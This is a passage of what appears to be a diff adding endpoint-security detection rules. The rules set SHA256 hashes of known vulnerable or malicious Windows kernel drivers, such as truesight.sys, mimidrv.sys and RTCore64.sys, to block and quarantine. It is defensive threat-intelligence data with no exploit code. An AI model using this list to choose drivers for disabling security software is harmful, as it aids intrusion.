+  "hl_testing_start_time": "2026-03-23T11:45:31.487244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3943991d2624914a5f8c16d7f4060601e4c09f1eae37e0dd13616e1ff53493a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd0b387f-056e-5f2c-beee-38eace13fd4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140601Z",
+  "creation_date": "2026-03-23T11:45:31.140603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46b35f77b7c6dfbafe431538b4b790bb4f709ae3dcbb8e24023809805b31b9d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd129ccd-f4bc-5f7a-b475-71cbe3c09e78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498388Z",
+  "creation_date": "2026-03-23T11:45:31.498392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "067748aeeb35971ba770bf2cd652eef93add635e5228a76b0a2c815d483f520d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd21c610-3d7e-53b0-afd5-054e7746aabe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142629Z",
+  "creation_date": "2026-03-23T11:45:31.142631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd51b2f62eb091d20bd898a9680b6c55f37920e9026142d604e5fd0a2698013d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd2d3628-4315-54b0-a7e3-a280a80e3d7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473417Z",
+  "creation_date": "2026-03-23T11:45:31.473420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "213d3b79119bfd48176f99c0e15ec19b0082eaab0dc0a744ab1151e21479ffe2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd2efac5-b10e-5f16-aa61-f805c9b5962a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463356Z",
+  "creation_date": "2026-03-23T11:45:30.463360Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4af8192870afe18c77381dfaf8478f8914fa32906812bb53073da284a49ae4c7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd32d148-d91b-5f7f-97ad-9757e97a5e13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809444Z",
+  "creation_date": "2026-03-23T11:45:31.809447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34330c8d41b2600513912d286a6a9c7b9839b2a34ab6b6118db18bc7e4c80718",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd3d90d8-2535-5daa-9e7e-4d0e5798139a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822411Z",
+  "creation_date": "2026-03-23T11:45:31.822414Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822422Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7516a0d5bf936c2c9718250219bdd5a61f92767006f744e4f8c11b1698e684fb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd4086b8-b296-59b1-b0cc-7eae15ce3836",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486138Z",
+  "creation_date": "2026-03-23T11:45:31.486141Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3fa1e8727a84561d848040a770106a51e69023f35bd05566e3c35229328956e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd42167b-de94-5c33-ad28-9edb3fb48d7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826456Z",
+  "creation_date": "2026-03-23T11:45:31.826458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c36c1d52bbe66ca632637c419537e3b5d1d366791a7053249649d5d6a1dc331",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd4dfa0c-bb0c-5c3f-960b-e2d864570d4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969853Z",
+  "creation_date": "2026-03-23T11:45:29.969855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "596c497e7e405ceb79ba0ba45f993125d88d50fc18867048d0c7a356ebd0c0ed",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd56913e-891f-59af-8479-51a4d724c94c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983317Z",
+  "creation_date": "2026-03-23T11:45:29.983319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c6f9917418e991ed41540d8d882c8ca51d582a82fd01bff6cdf26591454faf5",
+  "comment": "Vulnerable Kernel Driver (aka dcr.sys) [https://www.loldrivers.io/drivers/b1dd91b1-9ba3-4d68-a2d1-919039e18430/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd5c958e-4343-5885-b4bd-4e0d3326a15b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826674Z",
+  "creation_date": "2026-03-23T11:45:30.826676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "903f2d45806520607ad555ba09be0a58bfda695ef8e9369b9a5488e2a62b9824",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd604202-9a23-5f54-bc1d-93b7a69e53ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828120Z",
+  "creation_date": "2026-03-23T11:45:30.828122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62eb6173b66b077a3209dfbd91799d31d903459cbf42cf589070e688704d877b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd66692b-facb-5e41-8080-ceb16408cb74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615485Z",
+  "creation_date": "2026-03-23T11:45:29.615487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615492Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a63937a6320f50c4782d0675104932907d16a91d89088ac979a7a0129aad986",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd74cbe1-e6c3-5148-8ecf-0f4ab516f39a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473672Z",
+  "creation_date": "2026-03-23T11:45:31.473676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f6f5ce1c93097510f16357742bf393141da37f6f1a2d889c32f93c76029fca9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd76cff3-8e1b-5b8a-b744-fd14d33614e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828148Z",
+  "creation_date": "2026-03-23T11:45:31.828150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b2f24cf8c0550c2d04bf3571f7d406f84f8ebb5c80805030cca52c8a957a815",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd783263-fc82-538b-b16c-4f080e692e96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831272Z",
+  "creation_date": "2026-03-23T11:45:30.831274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "775a8740685d468911625d152917d450ea41968162aeb6fe80bf1c2e36aee862",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd809f73-ef60-5e97-8813-8880c5f82660",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460069Z",
+  "creation_date": "2026-03-23T11:45:30.460072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9a2bf0f5ba185170441f003dc46fbb570e1c9fdf2132ab7de28b87ba7ad1a0c",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd8a092a-ad18-5fcd-a481-b73145a448d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819278Z",
+  "creation_date": "2026-03-23T11:45:30.819280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d45600f3015a54fa2c9baa7897edbd821aeea2532e6aadb8065415ed0a23d0c2",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd9662c8-25a9-5cc1-8679-8e07913bc0d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457592Z",
+  "creation_date": "2026-03-23T11:45:30.457596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457605Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ecb25cb7a127729a0124d1c0e0ba7dd0c24a02f48f40f6af174b15581b6925c",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd977d02-b5d6-5c63-b14c-feb34aea6e49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973042Z",
+  "creation_date": "2026-03-23T11:45:29.973044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd9c16ae-128a-5e10-bd0d-d8c200f7c48f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154007Z",
+  "creation_date": "2026-03-23T11:45:31.154009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e6bc1f84a7867714aa8ba2a45e24b0546b869e58e1e7b33992d4f3583590d27",
